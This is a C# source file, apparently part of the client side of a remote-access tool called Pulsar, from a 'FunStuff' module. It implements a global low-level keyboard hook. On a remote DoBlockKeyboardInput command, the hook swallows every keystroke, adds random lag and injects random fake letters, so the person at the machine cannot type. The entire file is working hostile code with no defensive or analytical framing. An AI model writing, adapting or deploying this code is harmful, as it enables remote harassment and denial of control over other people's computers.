212 lines
6.3 KiB
C#
212 lines
6.3 KiB
C#
using System;
|
||||
|
|
using System.Diagnostics;
|
|||
|
|
using System.Runtime.InteropServices;
|
|||
|
|
using System.Threading;
|
|||
|
|
using System.Windows.Forms;
|
|||
|
|
using Pulsar.Common.Messages.FunStuff;
|
|||
|
|
|
|||
|
|
namespace Pulsar.Client.FunStuff
|
|||
|
|
{
|
|||
|
|
internal class KeyboardInput : IDisposable
|
|||
|
|
{
|
|||
|
|
private const int WH_KEYBOARD_LL = 13;
|
|||
|
|
private const int WM_KEYDOWN = 0x0100;
|
|||
|
|
private const int WM_KEYUP = 0x0101;
|
|||
|
|
private const int WM_SYSKEYDOWN = 0x0104;
|
|||
|
|
private const int WM_SYSKEYUP = 0x0105;
|
|||
|
|
|
|||
|
|
private IntPtr _hookID = IntPtr.Zero;
|
|||
|
|
private bool _isBlocked;
|
|||
|
|
private readonly LowLevelKeyboardProc _hookProc;
|
|||
|
|
private Random _rng = new Random();
|
|||
|
|
private Thread _hookThread;
|
|||
|
|
private ManualResetEvent _hookReadyEvent = new ManualResetEvent(false);
|
|||
|
|
|
|||
|
|
public KeyboardInput()
|
|||
|
|
{
|
|||
|
|
_hookProc = HookCallback;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public bool IsKeyboardDisabled => _isBlocked;
|
|||
|
|
|
|||
|
|
public void EnableKeyboardBlock()
|
|||
|
|
{
|
|||
|
|
if (_isBlocked) return;
|
|||
|
|
|
|||
|
|
// Start the hook in a separate thread
|
|||
|
|
_hookThread = new Thread(InstallHook)
|
|||
|
|
{
|
|||
|
|
Name = "KeyboardHookThread",
|
|||
|
|
IsBackground = true
|
|||
|
|
};
|
|||
|
|
_hookThread.Start();
|
|||
|
|
|
|||
|
|
// Wait for hook to be installed
|
|||
|
|
_hookReadyEvent.WaitOne(1000);
|
|||
|
|
_isBlocked = true;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void DisableKeyboardBlock()
|
|||
|
|
{
|
|||
|
|
if (!_isBlocked) return;
|
|||
|
|
|
|||
|
|
if (_hookID != IntPtr.Zero)
|
|||
|
|
{
|
|||
|
|
UnhookWindowsHookEx(_hookID);
|
|||
|
|
_hookID = IntPtr.Zero;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
_hookThread?.Join(1000); // Wait for thread to finish
|
|||
|
|
_hookThread = null;
|
|||
|
|
_hookReadyEvent.Reset();
|
|||
|
|
_isBlocked = false;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void ToggleKeyboardBlock()
|
|||
|
|
{
|
|||
|
|
if (_isBlocked) DisableKeyboardBlock();
|
|||
|
|
else EnableKeyboardBlock();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void Handle(DoBlockKeyboardInput message)
|
|||
|
|
{
|
|||
|
|
if (message.Block) EnableKeyboardBlock();
|
|||
|
|
else DisableKeyboardBlock();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void InstallHook()
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
using (Process process = Process.GetCurrentProcess())
|
|||
|
|
using (ProcessModule module = process.MainModule)
|
|||
|
|
{
|
|||
|
|
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _hookProc,
|
|||
|
|
GetModuleHandle(module.ModuleName), 0);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (_hookID == IntPtr.Zero)
|
|||
|
|
{
|
|||
|
|
throw new Exception("Failed to install keyboard hook");
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
_hookReadyEvent.Set(); // Signal that hook is ready
|
|||
|
|
|
|||
|
|
// Start message pump to keep the hook alive
|
|||
|
|
Application.Run();
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Console.WriteLine($"Hook thread error: {ex.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
|
|||
|
|
{
|
|||
|
|
if (nCode >= 0 && _isBlocked)
|
|||
|
|
{
|
|||
|
|
// Grab the key data
|
|||
|
|
int vkCode = Marshal.ReadInt32(lParam);
|
|||
|
|
|
|||
|
|
// 1. Random key swap
|
|||
|
|
if (_rng.NextDouble() < 0.5)
|
|||
|
|
vkCode = _rng.Next(0x20, 0x7E); // random printable char
|
|||
|
|
|
|||
|
|
// 2. Simulate lag
|
|||
|
|
Thread.Sleep(_rng.Next(100, 500)); // 100–500ms random lag
|
|||
|
|
|
|||
|
|
// 3. Optionally inject fake key
|
|||
|
|
if (_rng.NextDouble() < 0.3)
|
|||
|
|
{
|
|||
|
|
SendKey((Keys)_rng.Next(0x41, 0x5A)); // inject random letter
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 4. Swallow the original input
|
|||
|
|
return (IntPtr)1;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void SendKey(Keys key)
|
|||
|
|
{
|
|||
|
|
INPUT[] inputs = new INPUT[]
|
|||
|
|
{
|
|||
|
|
new INPUT
|
|||
|
|
{
|
|||
|
|
type = 1,
|
|||
|
|
U = new InputUnion
|
|||
|
|
{
|
|||
|
|
ki = new KEYBDINPUT
|
|||
|
|
{
|
|||
|
|
wVk = (ushort)key,
|
|||
|
|
dwFlags = 0
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
},
|
|||
|
|
new INPUT
|
|||
|
|
{
|
|||
|
|
type = 1,
|
|||
|
|
U = new InputUnion
|
|||
|
|
{
|
|||
|
|
ki = new KEYBDINPUT
|
|||
|
|
{
|
|||
|
|
wVk = (ushort)key,
|
|||
|
|
dwFlags = 2 // KEYEVENTF_KEYUP
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
};
|
|||
|
|
SendInput((uint)inputs.Length, inputs, INPUT.Size);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[StructLayout(LayoutKind.Sequential)]
|
|||
|
|
private struct INPUT
|
|||
|
|
{
|
|||
|
|
public uint type;
|
|||
|
|
public InputUnion U;
|
|||
|
|
public static int Size => Marshal.SizeOf(typeof(INPUT));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[StructLayout(LayoutKind.Explicit)]
|
|||
|
|
private struct InputUnion
|
|||
|
|
{
|
|||
|
|
[FieldOffset(0)] public KEYBDINPUT ki;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[StructLayout(LayoutKind.Sequential)]
|
|||
|
|
private struct KEYBDINPUT
|
|||
|
|
{
|
|||
|
|
public ushort wVk;
|
|||
|
|
public ushort wScan;
|
|||
|
|
public uint dwFlags;
|
|||
|
|
public uint time;
|
|||
|
|
public IntPtr dwExtraInfo;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
[DllImport("user32.dll")]
|
|||
|
|
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
|
|||
|
|
|
|||
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|||
|
|
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn,
|
|||
|
|
IntPtr hMod, uint dwThreadId);
|
|||
|
|
|
|||
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|||
|
|
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
|
|||
|
|
|
|||
|
|
[DllImport("user32.dll")]
|
|||
|
|
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
|
|||
|
|
IntPtr wParam, IntPtr lParam);
|
|||
|
|
|
|||
|
|
[DllImport("kernel32.dll")]
|
|||
|
|
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
|||
|
|
|
|||
|
|
public void Dispose()
|
|||
|
|
{
|
|||
|
|
DisableKeyboardBlock();
|
|||
|
|
_hookReadyEvent?.Dispose();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
|||
|
|
}
|
|||
|
|
}
|